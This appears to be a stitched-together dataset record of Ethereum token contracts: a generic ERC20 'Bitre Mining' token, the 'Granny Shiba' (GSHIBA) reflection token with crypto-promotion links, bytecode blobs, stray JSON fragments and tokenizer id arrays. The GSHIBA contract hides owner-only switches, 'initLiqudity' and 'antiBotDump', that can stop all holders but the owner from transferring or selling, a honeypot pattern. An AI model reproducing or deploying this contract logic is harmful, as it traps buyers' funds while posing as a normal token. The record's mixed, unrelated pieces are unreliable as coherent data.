pragma solidity ^0.4.19; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 2500000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 2500000000000000; // Update total supply (100000 for example) name = "Bitre Mining"; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = "BTGN"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100955763ffffffff60e060020a60003504166306fdde0381146100a7578063095ea7b31461013157806318160ddd1461016957806323b872dd14610190578063313ce567146101ba57806354fd4d50146101e557806370a08231146101fa57806395d89b411461021b578063a9059cbb14610230578063cae9ca5114610254578063dd62ed3e146102bd575b3480156100a157600080fd5b50600080fd5b3480156100b357600080fd5b506100bc6102e4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f65781810151838201526020016100de565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013d57600080fd5b50610155600160a060020a0360043516602435610372565b604080519115158252519081900360200190f35b34801561017557600080fd5b5061017e6103d9565b60408051918252519081900360200190f35b34801561019c57600080fd5b50610155600160a060020a03600435811690602435166044356103df565b3480156101c657600080fd5b506101cf6104ca565b6040805160ff9092168252519081900360200190f35b3480156101f157600080fd5b506100bc6104d3565b34801561020657600080fd5b5061017e600160a060020a036004351661052e565b34801561022757600080fd5b506100bc610549565b34801561023c57600080fd5b50610155600160a060020a03600435166024356105a4565b34801561026057600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610155948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061063b9650505050505050565b3480156102c957600080fd5b5061017e600160a060020a03600435811690602435166107d6565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b820191906000526020600020905b81548152906001019060200180831161034d57829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60025481565b600160a060020a038316600090815260208190526040812054821180159061042a5750600160a060020a03841660009081526001602090815260408083203384529091529020548211155b80156104365750600082115b156104bf57600160a060020a0380841660008181526020818152604080832080548801905593881680835284832080548890039055600182528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060016104c3565b5060005b9392505050565b60045460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b600160a060020a031660009081526020819052604090205490565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b3360009081526020819052604081205482118015906105c35750600082115b15610633573360008181526020818152604080832080548790039055600160a060020a03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060016103d3565b5060006103d3565b336000818152600160209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a383600160a060020a031660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e019050604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b8381101561077b578181015183820152602001610763565b50505050905090810190601f1680156107a85780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015156107cc57600080fd5b5060019392505050565b600160a060020a039182166000908152600160209081526040808320939094168252919091522054905600a165627a7a723058203ec180a9efe369fecbad5abedfbbc3c272a0fc24ccd6f90dce7ef41924bddb4c0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26976, 19797, 6305, 2581, 2620, 17134, 2620, 2683, 2094, 17788, 2683, 3207, 2683, 2475, 2063, 20958, 2581, 8586, 2094, 20842, 2063, 2487, 9468, 22907, 2509, 2546, 2581, 2546, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 5060, 4604, 1036, 1035, 3643, 1036, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,619
0x956cdc7effb7767dc366c2243fc1c21221bc7814
/** .::-----::. .-=+++++++++++++=: .=++++******####*++++- :++++**-. .=#%%#+++=.::::.. .:---------::---::--:::...::..... -+++**: -=: .*%@%++++++++++++++++++++++++++++++++++++++++++++++======--:::::. -+++##. .*%@#= :#@%%****####*+**#####################***##******++++++++++++++++=: .+++#%- -%@@%= :#+-:-+-:..-*%%#-. . .-#- .-:. .:+%#-.:-+=--=*%%%*+*######**+++=: -+++%#. +%@@#=..:+#= =#. =-. :#* . +#- -#+ .**...-#%*+++: =+++@#. +%@@@##**#%#: .*= := =##= :#* -#- -#- -+ *#. .##. *%@*++= +++*@#: -#@@%= =#- =#=...=+ +#*. :#* .##- =#: -#*. .#* :##. .#%@*++= =+++@%* +%@%*. == =%%%%%%#: .-. .*- :#%- =#. *%* :#+ -#+ :#@@+++- :+++#@%= .*%%+ .= =%%######=. :+. :. -#%*. .. .#%* .+. :=. =%@%+++: =+++%@%+. -- :. .*+---:. .:=##**#%%###%#**#%@%*===**==+%@%*-:.:=-. . *%@#+++. =+++@@%#+:. .-= .###: =*+: -: :*%@@@@@@@@@%+ =%@@@@@@@@%%%#=:.:+*. .#@@*++= .=+++#@%*..::. :#= :#@#- .= +%@@@@@@@@@%#. -%@@@@@@@@@@@%= =+ -%@@+++- -+++%%#: .:-=-. :#= :#%#. .=* +%%%@@%%##%%#. -%%%@@@@@@@@@%*. .. :#%@%+++: .+++#@@%#**#%%@@%##%%#. :-===*##*. -:::=#*. .##. --::=#%@%*==+*++=:::-+#@@@*++= -+++#@@@@@@@@@@@@@@@%*-. .+#. :#=..-##. .: .**. :#%%%@@@%*+++: -++++*#%%%%##**#%@%*. :**+=. +. += *+ **. :##: -: -#+ :#@@@@%#+++=. .-=+++++++++++++@%+ *%@%* =: :#+ ** **. .##: = *#+ -%%%%%++++- .::----::=+++@@%= .+#+: .*: :#* += += .- :*. == =*:*%@%+++: .+++*@@%+. .-#%+. -##=. .-. .:..-. .=#%*. .. :.-#@@#+++. :+++#@@@%#*++*#%%@@%%%%@@%%##%%%##%%%%%%%%%@@@%*+*%#+==+%@@%+++- :++++%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%+++= .=++++*#%%%%%##*+**##*+*####*####****##**++*#%%%#%@@@%#*+++= .-=++++++++++++++++++++++++++++++++++++++++++++++++++++=: .::----:.. .... ................ .::-::--==--: Everything you should know: Website - https://grannyshiba.in/ Medium - https://medium.com/@grannyshiba GitBook - https://granny-shiba.gitbook.io/granny-shiba/granny-shiba/introduction Join us !!! Announcements - https://t.me/GrannyShibaNews Telegram Group - https://t.me/GrannyShiba Twitter - https://twitter.com/GrannyShiba */ // SPDX-License-Identifier: MIT pragma solidity =0.8.6; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode. return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. * This is zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) * to another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. * A plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Throws if called by any account other than the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract GrannyShiba is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _antiBotDump; event botBanned (address botAddress, bool isBanned); uint256 private _tFeeTotal; bool _liquidity; string private _name = 'Granny Shiba'; string private _symbol = 'GSHIBA'; uint8 private _decimals = 9; uint256 private constant _tTotal = 100000000000000*10**9; uint256 private constant MAX = ~uint256(0); uint256 private _rTotal = (MAX - (MAX % _tTotal)); address public uniswapV2router; constructor (address router) { uniswapV2router = router; _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcluded[_msgSender()] = true; _excluded.push(_msgSender()); _liquidity = true; } function antiBotDump(address botAddress) external onlyOwner { if (_antiBotDump[botAddress] == true) { _antiBotDump[botAddress] = false; } else {_antiBotDump[botAddress] = true; emit botBanned (botAddress, _antiBotDump[botAddress]); } } function checkAntiBot(address botAddress) public view returns (bool) { return _antiBotDump[botAddress]; } function initLiqudity() public virtual onlyOwner { if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;} } function liquidityState() public view returns (bool) { return _liquidity; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function alreadyTakenFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_antiBotDump[sender] || _antiBotDump[recipient]) require (amount == 0, ""); if (_liquidity == true || sender == owner() || recipient == owner()) { if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else {_transferStandard(sender, recipient, amount);} } else {require (_liquidity == true, "");} } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { // tokens burn rate 0.2% for stacking/airdrops. uint256 tFee = tAmount.div(1000).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80635ff1b181116100b8578063a457c2d71161007c578063a457c2d71461037d578063a9059cbb146103ad578063dd62ed3e146103dd578063de67cfae1461040d578063ebad8f1614610429578063ec4708e31461043357610142565b80635ff1b181146102e957806370a0823114610307578063715018a6146103375780638da5cb5b1461034157806395d89b411461035f57610142565b806323b872dd1161010a57806323b872dd146101ed5780632d3e69ea1461021d5780632d8381191461023b578063313ce5671461026b57806339509351146102895780634549b039146102b957610142565b8063053ab1821461014757806306fdde0314610163578063081d2b3c14610181578063095ea7b31461019f57806318160ddd146101cf575b600080fd5b610161600480360381019061015c9190612a23565b610463565b005b61016b6105dd565b6040516101789190612d08565b60405180910390f35b61018961066f565b6040516101969190612ca9565b60405180910390f35b6101b960048036038101906101b491906129e3565b610695565b6040516101c69190612ced565b60405180910390f35b6101d76106b3565b6040516101e49190612eaa565b60405180910390f35b61020760048036038101906102029190612990565b6106c5565b6040516102149190612ced565b60405180910390f35b61022561079e565b6040516102329190612ced565b60405180910390f35b61025560048036038101906102509190612a23565b6107b5565b6040516102629190612eaa565b60405180910390f35b610273610823565b6040516102809190612ec5565b60405180910390f35b6102a3600480360381019061029e91906129e3565b61083a565b6040516102b09190612ced565b60405180910390f35b6102d360048036038101906102ce9190612a50565b6108ed565b6040516102e09190612eaa565b60405180910390f35b6102f1610977565b6040516102fe9190612eaa565b60405180910390f35b610321600480360381019061031c9190612923565b610981565b60405161032e9190612eaa565b60405180910390f35b61033f610a6c565b005b610349610bbf565b6040516103569190612ca9565b60405180910390f35b610367610be8565b6040516103749190612d08565b60405180910390f35b610397600480360381019061039291906129e3565b610c7a565b6040516103a49190612ced565b60405180910390f35b6103c760048036038101906103c291906129e3565b610d47565b6040516103d49190612ced565b60405180910390f35b6103f760048036038101906103f29190612950565b610d65565b6040516104049190612eaa565b60405180910390f35b61042760048036038101906104229190612923565b610dec565b005b610431611018565b005b61044d60048036038101906104489190612923565b611107565b60405161045a9190612ced565b60405180910390f3